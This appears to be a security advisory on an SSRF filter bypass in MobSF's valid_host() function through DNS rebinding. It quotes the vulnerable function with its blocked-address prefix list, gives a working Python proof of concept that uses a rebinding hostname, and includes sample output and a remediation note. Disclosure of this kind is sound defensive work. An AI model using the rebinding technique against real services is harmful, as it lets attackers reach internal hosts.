  "details" : "### Summary\n\nThe latest deployed fix for the SSRF vulnerability is through the use of the call `valid_host()`. The code available at lines [/ae34f7c055aa64fca58e995b70bc7f19da6ca33a/mobsf/MobSF/utils.py#L907-L957](https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/ae34f7c055aa64fca58e995b70bc7f19da6ca33a/mobsf/MobSF/utils.py#L907-L957) is vulnerable to SSRF abuse using DNS rebinding technique.\n\n### PoC\n\nThe following proof of concept: \n\n```python\ndef valid_host(host):\n    \"\"\"Check if host is valid.\"\"\"\n    try:\n        prefixs = ('http://', 'https://')\n        if not host.startswith(prefixs):\n            host = f'http://{host}'\n        parsed = urlparse(host)\n        domain = parsed.netloc\n        path = parsed.path\n        if len(domain) == 0:\n            # No valid domain\n            return False, None\n        if len(path) > 0:\n            # Only host is allowed\n            return False, None\n        if ':' in domain:\n            # IPv6\n            return False, None\n        # Local network\n        invalid_prefix = (\n            '100.64.',\n            '127.',\n            '192.',\n            '198.',\n            '10.',\n            '172.',\n            '169.',\n            '0.',\n            '203.0.',\n            '224.0.',\n            '240.0',\n            '255.255.',\n            'localhost',\n            '::1',\n            '64::ff9b::',\n            '100::',\n            '2001::',\n            '2002::',\n            'fc00::',\n            'fe80::',\n            'ff00::')\n        if domain.startswith(invalid_prefix):\n            return False, None\n        ip = socket.gethostbyname(domain)\n        if ip.startswith(invalid_prefix):\n            # Resolve dns to get IP\n            return False, None\n        return True, ip\n    except Exception:\n        return False, None\n\nimport random\nimport time\nimport socket\nfrom urllib.parse import urlparse\n\nif __name__ == '__main__':\n    print(\"Generating random host ...\", end=' ')     \n    prefix = random.randint(999_999, 9_999_999)\n    host = f\"{prefix}-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms\"\n    print(\"Done\")\n    print(f\"Testing with '{host}' ... \", end=\" \")\n    valid, ip = valid_host(host)\n    if valid:\n        print(f\"Successful Bypass\")\n        print(f\" - Host initially resolved to: {ip}\")\n        print(\"Sleeping for 1 second ...\")\n        time.sleep(1)\n        print(f\" - Second use host will be resolved to: {socket.gethostbyname(host)}\")\n        print(f\" - Third use host will be resolved to: {socket.gethostbyname(host)}\")\n        print(\"Sleeping for 30 seconds ...\")\n        time.sleep(30)\n    else:\n        print(f\"Invalid host\")\n\n```\n\nYields : \n\n```\n$ python3 poc.py\nGenerating random host ... Done\nTesting with '5084216-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms' ...  Successful Bypass\n - Host initially resolved to: 1.1.1.1\nSleeping for 1 second ...\n - Second use host will be resolved to: 127.0.0.1\n - Third use host will be resolved to: 127.0.0.1\nSleeping for 30 seconds ...\n```\n\nWhich generate an initlal random url that leverages dns rebinding after 1 time host resolution and remains to that IP for 30 seconds.\nAs you can notice the initial resolution was pointing to `1.1.1.1`. The second time the IP was resolved to `127.0.0.1`. Such an attack could be adjusted for other IP addresses.\n\n### Impact\n\nThe usual impact of Server-side request forgery.\n\n### Remediation \n\n- Avoid the use of `socket.gethostbyname()` since it issues and DNS query.",
